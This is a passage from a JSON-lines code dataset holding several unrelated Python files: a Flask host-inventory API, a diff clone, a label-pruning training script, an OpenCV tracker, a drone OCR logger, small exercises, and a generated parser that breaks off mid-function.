e:\n log_get_host_list_failed(logger)\n flask.abort(400, str(e))\n\n json_output = build_collection_response(response_list, page, per_page, total)\n return flask_json_response(json_output)\n\n\ndef _emit_patch_event(serialized_host, host_id, insights_id):\n headers = message_headers(EventType.updated, insights_id)\n event = build_event(EventType.updated, serialized_host)\n current_app.event_producer.write_event(event, str(host_id), headers, wait=True)\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef patch_host_by_id(host_id_list, body):\n try:\n validated_patch_host_data = PatchHostSchema().load(body)\n except ValidationError as e:\n logger.exception(f\"Input validation error while patching host: {host_id_list} - {body}\")\n return ({\"status\": 400, \"title\": \"Bad Request\", \"detail\": str(e.messages), \"type\": \"unknown\"}, 400)\n\n query = _get_host_list_by_id_list_from_db(host_id_list)\n\n hosts_to_update = query.all()\n\n if not hosts_to_update:\n log_patch_host_failed(logger, host_id_list)\n return flask.abort(status.HTTP_404_NOT_FOUND)\n\n for host in hosts_to_update:\n host.patch(validated_patch_host_data)\n\n if db.session.is_modified(host):\n db.session.commit()\n serialized_host = serialize_host(host, staleness_timestamps(), EGRESS_HOST_FIELDS)\n _emit_patch_event(serialized_host, host.id, host.canonical_facts.get(\"insights_id\"))\n\n log_patch_host_success(logger, host_id_list)\n return 200\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef replace_facts(host_id_list, namespace, body):\n return update_facts_by_namespace(FactOperations.replace, host_id_list, namespace, body)\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef merge_facts(host_id_list, namespace, body):\n if not body:\n error_msg = \"ERROR: Invalid request. Merging empty facts into existing facts is a no-op.\"\n logger.debug(error_msg)\n return error_msg, 400\n\n return update_facts_by_namespace(FactOperations.merge, host_id_list, namespace, body)\n\n\ndef update_facts_by_namespace(operation, host_id_list, namespace, fact_dict):\n\n current_identity = get_current_identity()\n query = Host.query.filter(\n (Host.org_id == current_identity.org_id)\n & Host.id.in_(host_id_list)\n & Host.facts.has_key(namespace) # noqa: W601 JSONB query filter, not a dict\n )\n\n hosts_to_update = find_non_culled_hosts(update_query_for_owner_id(current_identity, query)).all()\n\n logger.debug(\"hosts_to_update:%s\", hosts_to_update)\n\n if len(hosts_to_update) != len(host_id_list):\n error_msg = (\n \"ERROR: The number of hosts requested does not match the number of hosts found in the host database. \"\n \"This could happen if the namespace does not exist or the org_id associated with the call does \"\n \"not match the org_id associated with one or more the hosts. Rejecting the fact change request.\"\n )\n logger.debug(error_msg)\n return error_msg, 400\n\n for host in hosts_to_update:\n if operation is FactOperations.replace:\n host.replace_facts_in_namespace(namespace, fact_dict)\n else:\n host.merge_facts_in_namespace(namespace, fact_dict)\n\n if db.session.is_modified(host):\n db.session.commit()\n serialized_host = serialize_host(host, staleness_timestamps(), EGRESS_HOST_FIELDS)\n _emit_patch_event(serialized_host, host.id, host.canonical_facts.get(\"insights_id\"))\n\n logger.debug(\"hosts_to_update:%s\", hosts_to_update)\n\n return 200\n\n\n@api_operation\n@rbac(Permission.READ)\n@metrics.api_request_time.time()\ndef get_host_tag_count(host_id_list, page=1, per_page=100, order_by=None, order_how=None):\n\n host_list, total = get_host_tags_list_by_id_list(host_id_list, page, per_page, order_by, order_how)\n counts = {host_id: len(host_tags) for host_id, host_tags in host_list.items()}\n\n return _build_paginated_host_tags_response(total, page, per_page, counts)\n\n\n@api_operation\n@rbac(Permission.READ)\n@metrics.api_request_time.time()\ndef get_host_tags(host_id_list, page=1, per_page=100, order_by=None, order_how=None, search=None):\n\n host_list, total = get_host_tags_list_by_id_list(host_id_list, page, per_page, order_by, order_how)\n filtered_list = {host_id: Tag.filter_tags(host_tags, search) for host_id, host_tags in host_list.items()}\n\n return _build_paginated_host_tags_response(total, page, per_page, filtered_list)\n\n\ndef _build_paginated_host_tags_response(total, page, per_page, tags_list):\n json_output = build_collection_response(tags_list, page, per_page, total)\n return flask_json_response(json_output)\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef host_checkin(body):\n\n current_identity = get_current_identity()\n canonical_facts = deserialize_canonical_facts(body)\n existing_host = find_existing_host(current_identity, canonical_facts)\n\n if existing_host:\n existing_host._update_modified_date()\n db.session.commit()\n serialized_host = serialize_host(existing_host, staleness_timestamps(), EGRESS_HOST_FIELDS)\n _emit_patch_event(serialized_host, existing_host.id, existing_host.canonical_facts.get(\"insights_id\"))\n return flask_json_response(serialized_host, 201)\n else:\n flask.abort(404, \"No hosts match the provided canonical facts.\")\n","sub_path":"api/host.py","file_name":"host.py","file_ext":"py","file_size_in_byte":14366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627231130","text":"'''\nStrategy:\n Find all matching lines first. It shouldn't be too difficult to match lines in a way that conserves the most amount of matched lines.\n'''\nimport argparse as argparse\nimport os\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(\n description='A diff clone implemented in python.')\n parser.add_argument(\n 'sourcefile',\n type=str,\n help='The first file to compare.')\n parser.add_argument(\n 'otherfile',\n type=str,\n help='The second file to compare.')\n args = parser.parse_args()\n assert os.path.exists(args.sourcefile), 'There is no sourcefile at \\'{args.sourcefile}\\'.'\n assert os.path.exists(args.otherfile), 'There is no otherfile at \\'{args.otherfile}\\'.'\n return args\n\ndef print_diff(c, lines_1, lines_2, i, j):\n if i >= 0 and j >= 0 and lines_1[i] == lines_2[j]:\n print_diff(c, lines_1, lines_2, i - 1, j - 1)\n print('0', lines_1[i], end='')\n elif j >= 0 and (i == -1 or c[i][j - 1] >= c[i - 1][j]):\n print_diff(c, lines_1, lines_2, i, j - 1)\n print('+', lines_2[j], end='')\n elif i >= 0 and (j == -1 or c[i][j - 1] < c[i - 1][j]):\n print_diff(c, lines_1, lines_2, i - 1, j)\n print('-', lines_1[i], end='')\n\nif __name__ == '__main__':\n args = parse_arguments()\n with open(args.sourcefile, 'r') as infile:\n lines_1 = [l for l in infile]\n\n with open(args.otherfile, 'r') as infile:\n lines_2 = [l for l in infile]\n\n n = len(lines_1)\n m = len(lines_2)\n\n # Solve the longest common subsequence problem.\n c = [[0]*m]*n\n for i in range(n):\n for j in range(m):\n if lines_1[i] == lines_2[j]:\n c[i][j] = c[i - 1][j - 1] + 1\n else:\n c[i][j] = max(c[i][j - 1], c[i - 1][j])\n \n print_diff(c, lines_1, lines_2, n - 1, m - 1)\n","sub_path":"assignment5/new_diff.py","file_name":"new_diff.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"504196023","text":"# Script to run all baseline experiments\nimport os\nimport random\nimport json\nimport numpy as np\nfrom copy import deepcopy\nfrom pprint import pprint\nfrom tqdm import tqdm\nimport torch\nimport torch.nn as nn\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torch.utils.data import DataLoader, TensorDataset\n\nfrom utils import get_experiment_dir, get_enhanced_labels\nfrom data.openmic_utils import get_openmic_loaders\nfrom data.sonyc_utils import get_sonyc_loaders\nfrom evaluate.eval_baseline import eval_baseline, forward\nfrom trainer.trainer_baseline import trainer_baseline\nfrom trainer.train_utils import create_model\nimport evaluate.metrics\n\ndef run(config):\n seed = config['seed']\n random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n np.random.seed(seed)\n\n exp_dir = get_experiment_dir(config)\n \n run_dir = os.path.join(exp_dir, 'seed_{}'.format(config['seed']))\n # tensorboard logger\n writer = SummaryWriter(run_dir)\n \n # get data loaders and metrics function\n if config['dataset'] == 'openmic':\n (train_loader, val_loader, test_loader), (full_dataset, train_inds) = get_openmic_loaders(config)\n n_classes = 20\n metric_fn = evaluate.metrics.metric_fn_openmic\n elif config['dataset'] == 'sonyc':\n (train_loader, val_loader, test_loader), train_dataset = get_sonyc_loaders(config)\n if config['coarse']:\n n_classes = 8\n else:\n n_classes = 23\n metric_fn = evaluate.metrics.metric_fn_sonycust\n\n # Randomly remove labels\n if 'label_drop_rate' in config:\n label_drop_rate = config['label_drop_rate']\n drop_mask = np.random.rand(*train_dataset.Y_mask.shape)\n drop_mask = train_dataset.Y_mask + drop_mask\n train_dataset.Y_mask = drop_mask > (1 + label_drop_rate)\n\n # hyper params\n hparams = config['hparams']\n lr = hparams['lr']\n wd = hparams['wd']\n model_params = {'n_features': hparams['n_features'], \n 'drop_rate':hparams['dropout'], \n 'n_classes':n_classes, \n 'n_layers':hparams['n_layers']}\n num_epochs = hparams['num_epochs']\n prune_thres = hparams['prune_thres']\n batch_size = hparams['batch_size']\n\n # initialize models\n model = create_model(model_params)\n \n # initialize criterion and optimizer\n criterion = nn.BCELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=wd)\n\n # initialize best metric variables\n best_models = [None, None]\n best_val_loss = 100000.0\n best_f1_macro = -1.0\n\n # teacher training loop\n for epoch in tqdm(range(num_epochs)):\n # drop learning rate every 30 epochs\n if (epoch > 0) and (epoch % 30 == 0):\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr * 0.5\n lr = lr * 0.5\n\n # first train treating all missing labels as negatives\n train_loss = trainer_baseline(model, train_loader, optimizer, criterion, baseline_type=0)\n print('#### Training ####')\n print('Loss: {}'.format(train_loss))\n\n val_loss, metrics = eval_baseline(model, val_loader, criterion, n_classes, metric_fn, baseline_type=1)\n val_metric = 'F1_macro' if config['dataset'] == 'openmic' else 'auprc_macro'\n avg_val_metric = np.mean(metrics[val_metric])\n print('#### Validation ####')\n print('Loss: {}\\t Macro F1 score: {}'.format(val_loss, avg_val_metric))\n\n # log to tensorboard\n writer.add_scalar(\"train/loss\", train_loss, epoch)\n writer.add_scalar(\"val/loss_loss\", val_loss, epoch)\n writer.add_scalar(f\"val/{val_metric}\", avg_val_metric, epoch)\n\n #Save best models\n if val_loss < best_val_loss:\n best_val_loss = val_loss\n best_models[0] = deepcopy(model)\n\n if avg_val_metric > best_f1_macro:\n best_f1_macro = avg_val_metric\n best_models[1] = deepcopy(model)\n\n # Perform label pruning\n if config['dataset'] == 'openmic':\n X = full_dataset.X[train_inds]\n Y_mask = full_dataset.Y_mask[train_inds]\n X_dataset = TensorDataset(torch.tensor(X, requires_grad=False, dtype=torch.float32))\n loader = DataLoader(X_dataset, batch_size)\n all_predictions = forward(best_models[0], loader, n_classes)\n new_mask = get_enhanced_labels(Y_mask, all_predictions, prune_thres)\n full_dataset.Y_mask[train_inds] = new_mask\n\n if config['dataset'] == 'sonyc':\n X = train_dataset.X\n Y_mask = train_dataset.Y_mask\n X_dataset = TensorDataset(torch.tensor(X, requires_grad=False, dtype=torch.float32))\n loader = DataLoader(X_dataset, batch_size)\n all_predictions = forward(best_models[0], loader, n_classes)\n new_mask = get_enhanced_labels(Y_mask, all_predictions, prune_thres)\n train_dataset.Y_mask = new_mask\n # Retrain with pruned labels\n\n # initialize models\n model = create_model(model_params)\n \n # initialize optimizer\n optimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=wd)\n\n # initialize best metric variables\n best_models = [None, None]\n best_val_loss = 100000.0\n best_f1_macro = -1.0\n\n for epoch in tqdm(range(num_epochs)):\n # drop learning rate every 30 epochs\n if (epoch > 0) and (epoch % 30 == 0):\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr * 0.5\n lr = lr * 0.5\n\n # train with new mask\n train_loss = trainer_baseline(model, train_loader, optimizer, criterion, baseline_type=1)\n print('#### Training ####')\n print('Loss: {}'.format(train_loss))\n\n val_loss, metrics = eval_baseline(model, val_loader, criterion, n_classes, metric_fn, baseline_type=1)\n val_metric = 'F1_macro' if config['dataset'] == 'openmic' else 'auprc_macro'\n avg_val_metric = np.mean(metrics[val_metric])\n print('#### Validation ####')\n print('Loss: {}\\t Macro F1 score: {}'.format(val_loss, avg_val_metric))\n\n # log to tensorboard\n writer.add_scalar(\"train/loss\", train_loss, epoch)\n writer.add_scalar(\"val/loss_loss\", val_loss, epoch)\n writer.add_scalar(f\"val/{val_metric}\", avg_val_metric, epoch)\n\n #Save best models\n if val_loss < best_val_loss:\n best_val_loss = val_loss\n best_models[0] = deepcopy(model)\n\n if avg_val_metric > best_f1_macro:\n best_f1_macro = avg_val_metric\n best_models[1] = deepcopy(model)\n\n # Test best models\n for i, model in enumerate(best_models):\n test_loss, metrics = eval_baseline(model, test_loader, criterion, n_classes, metric_fn, baseline_type=1)\n\n print('#### Testing ####')\n print('Test Loss: ', test_loss)\n for key, val in metrics.items():\n print(f'Test {key}: {np.mean(val)}')\n \n # save metrics and model\n torch.save(model.state_dict(), os.path.join(run_dir, f'model_{i}.pth'))\n np.save(os.path.join(run_dir, f'metrics_{i}'), metrics)\n \n # jsonify metrics and write to json as well for manual inspection\n js = {}\n for key, val in metrics.items():\n if not np.ndim(val) == 0:\n js[key] = val.tolist()\n else:\n js[key] = val\n json.dump(js, open(os.path.join(run_dir, f'metrics_{i}.json'), 'w'))\n json.dump(config, open(os.path.join(run_dir, f'config.json'), 'w'))\n \nif __name__ == \"__main__\":\n \n \"\"\"\n For now just initialize config here\n TODO: Load config from json file\n \"\"\"\n seeds = [0, 42, 345, 123, 45]\n prune_thres_list = [0.05, 0.1, 0.25]\n config = {\n 'logdir': '../logs/OpenL3/',\n 'exp_name': 'labelprune',\n 'mode': 0,\n 'coarse': 0,\n 'data_path': '../data',\n 'hparams': {\n 'lr': 0.001,\n 'wd': 1e-5,\n 'n_layers': 1,\n 'n_features': 512,\n 'dropout': 0.6,\n 'num_epochs': 100,\n 'batch_size': 64,\n 'prune_thres': 0.05\n }\n }\n\n \"\"\"\n For OpenMIC\n \"\"\"\n # config['dataset'] = 'openmic'\n # for prune_thres in prune_thres_list:\n # for seed in seeds:\n # config['seed'] = seed\n # config['hparams']['prune_thres'] = prune_thres\n # run(config)\n\n \"\"\"\n For SONYC-UST:\n There are few missing labels in SONYC-UST.\n \"\"\"\n config['dataset'] = 'sonyc'\n for prune_thres in prune_thres_list:\n for seed in seeds:\n config['seed'] = seed\n config['hparams']['prune_thres'] = prune_thres\n run(config)\n","sub_path":"src/run_labelpruning_openL3.py","file_name":"run_labelpruning_openL3.py","file_ext":"py","file_size_in_byte":8761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115343039","text":"# USAGE\n# python opencv_object_tracking.py\n# python opencv_object_tracking.py --video dashcam_boston.mp4 --tracker csrt --point x y w h\n\n# import the necessary packages\nfrom imutils.video import VideoStream\nfrom imutils.video import FPS\nimport argparse\nimport imutils\nimport time\nimport cv2\n\n# construct the argument parser and parse the arguments\ndef argParse():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-v\", \"--video\", type=str, help=\"path to input video file\")\n ap.add_argument(\"-t\", \"--tracker\", type=str, default=\"kcf\", help=\"OpenCV object tracker type\")\n ap.add_argument(\"-p\", \"--point\", nargs='+', type=int, help=\"point\")\n args = vars(ap.parse_args())\n\n return args\n\nclass Tracker:\n\n def __init__(self, args):\n self.args = args\n self.chkInit = None\n self.initBB = None\n\n\n def chkVideo(self):\n if not self.args.get(\"video\", False):\n print(\"[INFO] starting video stream...\")\n vs = VideoStream(src=0).start()\n time.sleep(1.0)\n else:\n vs = cv2.VideoCapture(self.args[\"video\"])\n return vs\n\n def chkPoint(self):\n if \"point\" in self.args:\n self.initBB = self.args[\"point\"]\n\n def selectTracker(self):\n OPENCV_OBJECT_TRACKERS = {\n \"csrt\": cv2.TrackerCSRT_create,\n \"kcf\": cv2.TrackerKCF_create,\n \"boosting\": cv2.TrackerBoosting_create,\n \"mil\": cv2.TrackerMIL_create,\n \"tld\": cv2.TrackerTLD_create,\n \"medianflow\": cv2.TrackerMedianFlow_create,\n \"mosse\": cv2.TrackerMOSSE_create\n }\n\n tracker = OPENCV_OBJECT_TRACKERS[self.args[\"tracker\"]]()\n\n return tracker\n\n def run(self):\n\n fps = None\n min = 0.0\n max = 0.0\n avg = 0.0\n idx = 0\n sum = 0\n\n self.chkPoint()\n vs = self.chkVideo()\n tracker = self.selectTracker()\n\n while True:\n frame = vs.read()\n frame = frame[1] if self.args.get(\"video\", False) else frame\n idx += 1\n\n if frame is None:\n break\n\n frame = imutils.resize(frame, width=500)\n (H, W) = frame.shape[:2]\n\n if self.initBB is not None:\n\n if self.chkInit is None:\n self.initBB=tuple(self.initBB)\n tracker.init(frame, self.initBB)\n self.chkInit = True\n fps = FPS().start()\n else:\n (success, box) = tracker.update(frame)\n\n if success:\n (x, y, w, h) = [int(v) for v in box]\n cv2.rectangle(frame, (x, y), (x + w, y + h),\n (0, 255, 0), 2)\n\n fps.update()\n fps.stop()\n\n temp = fps.fps()\n if temp < min: min = temp\n if temp > max: max = temp\n sum = sum + temp\n avg = sum/idx\n\n\n info = [\n (\"Tracker\", self.args[\"tracker\"]),\n (\"FPS\", \"{:.2f}\".format(fps.fps())),\n (\"MIN\", \"{:.2f}\".format(min)),\n (\"MAX\", \"{:.2f}\".format(max)),\n (\"AVG\", \"{:.2f}\".format(avg)),\n ]\n\n # loop over the info tuples and draw them on our frame\n for (i, (k, v)) in enumerate(info):\n text = \"{}: {}\".format(k, v)\n cv2.putText(frame, text, (10, H - ((i * 20) + 20)),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 255), 2)\n\n # show the output frame\n cv2.imshow(\"Frame\", frame)\n key = cv2.waitKey(1) & 0xFF\n\n # if the 's' key is selected, we are going to \"select\" a bounding\n # box to track\n if key == ord(\"s\"):\n # select the bounding box of the object we want to track (make\n # sure you press ENTER or SPACE after selecting the ROI)\n self.initBB = cv2.selectROI(\"Frame\", frame, fromCenter=False,\n showCrosshair=True)\n\n # start OpenCV object tracker using the supplied bounding box\n # coordinates, then start the FPS throughput estimator as well\n tracker.init(frame, self.initBB)\n fps = FPS().start()\n self.chkInit = True\n\n # if the `q` key was pressed, break from the loop\n elif key == ord(\"q\"):\n break\n\n # if we are using a webcam, release the pointer\n if not self.args.get(\"video\", False):\n vs.stop()\n\n # otherwise, release the file pointer\n else:\n vs.release()\n\n # close all windows\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n args = argParse()\n tracker = Tracker(args)\n tracker.run()","sub_path":"opencv_object_tracking.py","file_name":"opencv_object_tracking.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"473755462","text":"from datetime import datetime\r\nimport pytesseract\r\nimport cv2\r\nimport os\r\nfrom djitellopy import Tello\r\nimport time\r\n############### For Text_Detection ####################\r\npytesseract.pytesseract.tesseract_cmd = \"C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe\"\r\n\r\n############################################################\r\n\r\n\r\ndef IntializeTello():\r\n tello = Tello()\r\n tello.for_back_velocity = 0\r\n tello.left_right_velocity = 0\r\n tello.up_down_velocity = 0\r\n tello.yaw_velocity = 0\r\n tello.speed = 10\r\n return tello\r\n\r\n\r\ndef telloGetFrame(tello, w=360, h=240):\r\n frame_read = tello.get_frame_read()\r\n frame = cv2.cvtColor(frame_read.frame, cv2.COLOR_BGR2RGB)\r\n frameRet = frame_read.frame\r\n return frameRet\r\n\r\n\r\ndef Save_Records():\r\n path = 'Resources/detected_text_records/detected_images_text'\r\n images = []\r\n myList = os.listdir(path)\r\n for cl in myList:\r\n curImg = cv2.imread(f'{path}/{cl}')\r\n images.append(curImg)\r\n\r\n with open('Resources/detected_text_records/Records.csv', 'r+') as f:\r\n myDataList = f.readline()\r\n # print(myClassifier.list_labels)\r\n nameList = []\r\n for line in myDataList:\r\n entry = line.split(',')\r\n nameList.append(entry[0])\r\n for images in images:\r\n result = cv2.cvtColor(images, cv2.COLOR_BGR2RGB)\r\n # print(pytesseract.image_to_data(result))\r\n hImg, wImg, _ = result.shape\r\n boxes = pytesseract.image_to_data(result)\r\n # print(boxes)\r\n for x, b in enumerate(boxes.splitlines()):\r\n if x != 0:\r\n b = b.split()\r\n if len(b) == 12:\r\n x, y, w, h = int(b[6]), int(b[7]), int(b[8]), int(b[9])\r\n if b not in nameList:\r\n now = datetime.now()\r\n dtString = now.strftime('%H:%M:%S')\r\n f.writelines(f'\\n{b[11]},{dtString}')\r\n\r\n\r\ndef Text_detection(frameRet):\r\n frame = cv2.cvtColor(frameRet, cv2.COLOR_BGR2RGB)\r\n hImg, wImg, _ = frame.shape\r\n boxes = pytesseract.image_to_data(frame)\r\n for x, b in enumerate(boxes.splitlines()):\r\n if x != 0:\r\n b = b.split()\r\n if len(b) == 12:\r\n x, y, w, h = int(b[6]), int(b[7]), int(b[8]), int(b[9])\r\n cv2.rectangle(frameRet, (x, y), (w + x, h + y), (0, 0, 255), 3)\r\n cv2.putText(frameRet, b[11], (x, y), cv2.FONT_HERSHEY_COMPLEX, 1, (50, 50, 255), 2)\r\n cv2.imwrite(f'Resources/detected_text_records/detected_images_text/{time.time()}.jpg', frameRet)\r\n #Save_Records()","sub_path":"Saving_Record_Module.py","file_name":"Saving_Record_Module.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"358393258","text":"\"\"\"\n@File: call_test.py\n@Author: Chensy\n@Date: 2019/10/30 0030\n@Desc: \n\"\"\"\n\nimport asyncio\n\n\ndef callback(sleep_time):\n print(\"sleep {} success\".format(sleep_time))\n\n\ndef stop_loop(loop):\n loop.stop()\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n loop.call_soon(callback, 2)\n loop.call_soon(stop_loop, loop)\n loop.run_forever()\n","sub_path":"study/06 - AdvancePython/chapter12/call_test.py","file_name":"call_test.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"148766937","text":"#!/usr/bin/env python3\n\n\ndef count1(line):\n ret = 0\n\n def checkChar(x):\n if x == '\"' or x == '\\\\':\n return 1\n elif x == 'x':\n return 3\n else:\n return 0\n\n for i in range(1, len(line) - 1):\n ret += 1\n if line[i] == '\\\\':\n i += checkChar(line[i + 1])\n\n return ret\n\n\ndef count2(line):\n return sum(\n map(lambda x: int(x == '\"' or x == '\\\\'), line)) + 2 + len(line)\n\n\ndef main():\n lines = [x.strip() for x in open('../input/08').readlines()]\n c1 = 0\n c2 = 0\n total = 0\n\n for line in lines:\n c1 += count1(line)\n c2 += count2(line)\n total += len(line)\n\n print(total - c1)\n print(c2 - total)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"2015/py/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"392194430","text":"# coding: utf-8\nfrom __future__ import absolute_import\nimport re\nimport sys\nfrom aoikexcutil import raise_\nfrom aoikdyndocdsl.parser.ast import ArgsNode\nfrom aoikdyndocdsl.parser.ast import FuncNode\nfrom aoikdyndocdsl.parser.ast import KargNode\nfrom aoikdyndocdsl.parser.ast import ListNode\nfrom aoikdyndocdsl.parser.ast import NameNode\nfrom aoikdyndocdsl.parser.ast import PargNode\nfrom aoikdyndocdsl.parser.ast import TupleNode\nfrom aoikdyndocdsl.parser.ast import ValNode\nfrom aoikdyndocdsl.parser.const import NTO_K_CTX\nfrom aoikdyndocdsl.parser.const import NTO_K_PSR\nfrom aoikdyndocdsl.parser.ext import DelayedFunc\n\n\n#/\nclass AttrDict(dict):\n __getattr__ = dict.__getitem__\n __setattr__ = dict.__setitem__\n\n#/\nclass ScanError(Exception):\n\n def __init__(self, ctx, txt, row, col, rep=None, eis=None, eisp=None):\n #/\n self.ctx = ctx\n\n #/\n newline_idx = txt.find('\\n')\n if newline_idx >= 0:\n self.txt = txt[:newline_idx]\n else:\n self.txt = txt\n\n #/\n self.row = row\n\n self.col = col\n\n #/\n self.rep = rep\n\n #/ scan exc infos of current branching\n self.eis = eis\n\n #/ scan exc infos of previous branching\n self.eisp = eisp\n\nEr = ScanError\n\n#/\nclass ScanOk(Exception):\n pass\n\nOk = ScanOk\n\n#/\nclass Parser(object):\n\n #/\n _RULE_FUNC_PRF = ''\n _RULE_FUNC_POF = ''\n\n #/ |SK| means state dict key\n _SK_TXT = 'txt'\n _SK_ROW = 'row'\n _SK_COL = 'col'\n _SK_OCC = 'occ'\n\n #/ |DK| means debug dict key\n _DK_NAME = 'name'\n _DK_TXT = 'txt'\n _DK_ROW = 'row'\n _DK_COL = 'col'\n _DK_SLV = 'slv'\n _DK_SSS = 'sss' # scan is success\n\n #/\n def __init__(self, txt, nto, debug=False):\n #/\n self._txt = txt\n\n self._row = 0\n\n self._col = 0\n\n #/\n self._debug = debug\n\n #/\n self._debug_info_s = None\n\n if self._debug:\n self._debug_info_s = []\n\n #/\n self._ws_rep = None\n\n self._ws_reo = re.compile(self._ws_rep)\\\n if self._ws_rep is not None else None\n\n #/ current rule func's context dict\n self._ctx = None\n\n #/ result context dict returned from last call of \"_scan\".\n self._rctx = None\n\n #/\n self._ctx_k_par = 'par'\n\n #/\n self._ctx_k_row_beg = 'row_beg'\n\n self._ctx_k_col_beg = 'col_beg'\n\n self._ctx_k_row_end = 'row_end'\n\n self._ctx_k_col_end = 'col_end'\n\n #/ scan level\n self._scan_lv = -1\n\n #/ scan exc info\n self._scan_ei = None\n\n #/ scan exc infos of current branching\n self._scan_ei_s = []\n\n #/ scan exc infos of previous branching\n self._scan_ei_sp = []\n\n #/ map rep to reo\n self._reo_d = {}\n\n #/\n self._state_stack = []\n\n #/\n self._nto_custom = nto\n\n self._nto_bound = self._nto\n\n #/\n self._hdlr_ctx = None\n\n self._hdlr_nto_bound = self._hdlr_nto\n\n #/\n self._hdlr_d = {}\n\n #/\n self._ctx_s = []\n\n #/\n self._tmp_d = AttrDict()\n\n def _rule_func_get(self, name):\n #/\n rule_func_name = self._RULE_FUNC_PRF + name + self._RULE_FUNC_POF\n\n #/\n rule_func = getattr(self, rule_func_name)\n\n #/\n return rule_func\n\n def _rule_reo_get(self, name):\n #/\n reo_name = self._RULE_REO_PRF \\\n + name \\\n + self._RULE_REO_POF\n\n #/\n reo = getattr(self, reo_name)\n\n #/\n return reo\n\n def _match(self, reo, txt):\n #/\n m = reo.match(txt)\n\n #/\n if m:\n mlen = len(m.group())\n\n if mlen > 0:\n m_txt = txt[:mlen]\n\n self._state_upd(m_txt)\n\n txt = txt[mlen:]\n\n #/\n return m, txt\n\n def _scan(self, name):\n #/\n ctx_par = self._ctx\n\n #/\n self._scan_lv += 1\n\n #/\n if self._ws_reo:\n _, self._txt = self._match(self._ws_reo, self._txt)\n\n #/\n ctx_new = AttrDict()\n\n #/\n ctx_new.name = name\n\n #/\n if self._ctx_k_par:\n ctx_new[self._ctx_k_par] = ctx_par\n\n #/\n if self._ctx_k_row_beg:\n ctx_new[self._ctx_k_row_beg] = self._row\n\n if self._ctx_k_col_beg:\n ctx_new[self._ctx_k_col_beg] = self._col\n\n #/\n self._ctx = ctx_new\n\n #/\n rule_func = self._rule_func_get(name)\n\n #/ scan success\n self._ss = False\n\n #/ scan exc info\n self._scan_ei = None\n\n #/\n self._rctx = None\n\n #/\n if self._debug:\n #/\n debug_info = AttrDict()\n debug_info[self._DK_NAME] = name\n debug_info[self._DK_TXT] = self._txt\n debug_info[self._DK_ROW] = self._row\n debug_info[self._DK_COL] = self._col\n debug_info[self._DK_SLV] = self._scan_lv\n debug_info[self._DK_SSS] = False\n\n #/\n self._debug_info_s.append(debug_info)\n\n #/\n try:\n rule_func(ctx_new)\n except ScanError:\n #/\n ei = sys.exc_info()\n\n #/\n if self._scan_ei is None or self._scan_ei[1] is not ei[1]:\n self._scan_ei = ei\n\n self._scan_ei_s.append(ei)\n\n #/\n raise\n else:\n #/\n if self._debug:\n debug_info[self._DK_SSS] = True\n finally:\n self._scan_lv -= 1\n\n self._ctx = ctx_par\n\n #/\n self._ss = True\n\n #/\n if self._ctx_k_row_end:\n ctx_new[self._ctx_k_row_end] = self._row\n\n if self._ctx_k_col_end:\n ctx_new[self._ctx_k_col_end] = self._col\n\n #/\n if self._ws_reo:\n _, self._txt = self._match(self._ws_reo, self._txt)\n\n #/\n self._rctx = ctx_new\n\n #/\n return ctx_new\n\n def _scan_reo(self, reo, new_ctx=False):\n #/\n self._rctx = None\n\n #/\n if new_ctx:\n #/\n if self._ctx_k_row_beg:\n row_beg = self._row\n\n if self._ctx_k_col_beg:\n col_beg = self._col\n\n #/\n m, self._txt = self._match(reo, self._txt)\n\n #/\n if m is None:\n self._error(rep=reo.pattern)\n\n #/\n if new_ctx:\n #/\n ctx = AttrDict()\n\n #/\n ctx.name = ''\n\n #/\n if self._ctx_k_par:\n ctx[self._ctx_k_par] = self._ctx\n\n #/\n if self._ctx_k_row_beg:\n ctx[self._ctx_k_row_beg] = row_beg\n\n if self._ctx_k_col_beg:\n ctx[self._ctx_k_col_beg] = col_beg\n\n if self._ctx_k_row_end:\n ctx[self._ctx_k_row_end] = self._row\n\n if self._ctx_k_col_end:\n ctx[self._ctx_k_col_end] = self._col\n #/\n else:\n ctx = self._ctx\n\n #/\n ctx.rem = m\n\n #/\n self._rctx = ctx\n\n #/\n return ctx\n\n def _scan_rep(self, rep):\n #/\n reo = self._reo_d.get(rep, None)\n\n if reo is None:\n reo = self._reo_d[rep] = re.compile(rep)\n\n #/\n return self._scan_reo(reo, new_ctx=True)\n\n def _state_push(self):\n self._state_stack.append({\n self._SK_TXT: self._txt,\n self._SK_ROW: self._row,\n self._SK_COL: self._col,\n self._SK_OCC: 0,\n })\n\n def _state_pop(self):\n res = self._state_stack.pop()\n self._txt = res[self._SK_TXT]\n self._row = 